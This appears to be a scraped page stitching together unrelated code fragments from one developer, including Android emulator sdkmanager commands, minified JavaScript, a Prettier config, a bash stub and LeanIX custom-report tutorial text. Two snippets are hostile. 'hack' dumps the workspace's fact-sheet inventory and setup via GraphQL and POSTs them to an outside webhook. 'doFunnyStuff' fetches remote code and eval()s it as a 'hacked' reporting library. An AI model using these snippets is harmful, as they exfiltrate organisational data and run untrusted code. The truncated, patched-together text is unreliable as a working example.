For generic skin emulator with default apis (without google apis):
-
List All System Images Available for Download:
sdkmanager --list | grep system-images -
Download Image:
sdkmanager --install "system-images;android-29;default;x86"
| (()=>{"use strict";class e{getRelationDefinition(e,t){const s=e.relationMapping[t].persistedName;return s in e.relations?e.relations[s]:(console.warn(`Relation ${s} could not be found in enrichedDataModel.relations`),null)}isConstrainingRelation(e,t){const s=this.getRelationDefinition(e,t);return!!s&&s&&!!s.constrainingRelations&&s.constrainingRelations.length>0}}const t="_allMessages_";class s{constructor(){this.parentWindow=window.parent,this.parentOrigin="*",this.listeners={},window.addEventListener("message",this.messageListener.bind(this))}sendToParent(e,t){try{if(t){const t=e.id||String(Date.now()+Math.random()),s=this.listenOnce(t);return this.sendToParent(Object.assign(Object.assign({},e),{id:t})),s}return void this.parentWindow.postMessage(e,this.parentOrigin)}catch(t){throw console.error("Error while sending message to parent:",e.id,t),t}}registerListener(e=t,s,n=!1){this.listeners[e]||(this.listeners[e]=[]),this.listeners[e].push({listener:s,callOnError:n})}deRegisterListener(e=t,s){s?this.listener |
| const hack = async () => { | |
| await lx.init() | |
| const inventory = await lx.executeGraphQL("{allFactSheets{edges{node{id type name}}}}") | |
| const body = JSON.stringify({ currentSetup: lx.currentSetup, inventory }) | |
| await fetch("https://webhook-test.com/540f61ea37ba8d8ed82d863a02adfd69", { | |
| method: "POST", | |
| headers: { |
| const doFunnyStuff = async () => { | |
| // install an hacked version of the ***/reporting library | |
| await fetch("https://gist.github.com/psantos9/48d7e2fd1d3777d8d3d39a9a307a2bd6/raw/init.txt") | |
| .then((res) => res.text()) | |
| .then((code) => eval(code)) | |
| console.log('loaded hacked library...') | |
| await lxHacked.init() | |
| console.log('initialized hacked library') |
| const openSidepane = () => { | |
| lx.openSidePane({ | |
| factSheet: { | |
| type: 'FactSheet', | |
| factSheetType: 'Application', | |
| factSheetId: '28fe4aa2-6e46-41a1-a131-72afb3acf256', | |
| detailFields: [ | |
| 'categorie', | |
| 'functionalSuitability', | |
| 'technicalSuitability' |
| { | |
| "arrowParens": "always", | |
| "bracketSameLine": true, | |
| "bracketSpacing": true, | |
| "embeddedLanguageFormatting": "auto", | |
| "endOfLine": "lf", | |
| "htmlWhitespaceSensitivity": "css", | |
| "insertPragma": false, | |
| "jsxSingleQuote": false, | |
| "printWidth": 80, |
| #!/usr/bin/env bash | |
| read -r -d '' usage << EOM | |
| Usage: | |
| gh-deploy-clone user/repo [ENVIRONMENT] | |
| EOM | |
| [ -z "$1" ] && echo && echo "$usage" && echo && exit 1 |
Custom reports are a great way for analyzing and communicating Enterprise Architecture insights of your organization in an effective way.
In this step-by-step tutorial we create a simple LeanIX custom report that demonstrates how to fetch data from the LeanIX workspace using the two methods provided by the LeanIX Reporting API: Facet Filters and GraphQL queries. More specifically, we'll compute the average completion ratio for three factsheet types, Applications, Business Capabilities, and IT Components, and display them as tables, as depicted below.
Custom reports are a great way for analyzing and communicating Enterprise Architecture insights of your organization in an effective way.
In this step-by-step tutorial we create a simple LeanIX custom report that demonstrates how to integrate a third party library for visualizing workspace data. More specifically, we'll display on a half-pie chart the average completion ratio for a specific factsheet type, configurable by the user, as in the picture below.
| 1. Get the workspace baseUrl | |
| ```javascript | |
| this.$lx.init() | |
| .then(setup => { | |
| const baseUrl = setup.settings | |
| this.$lx.ready({}) | |
| }) | |
| `` |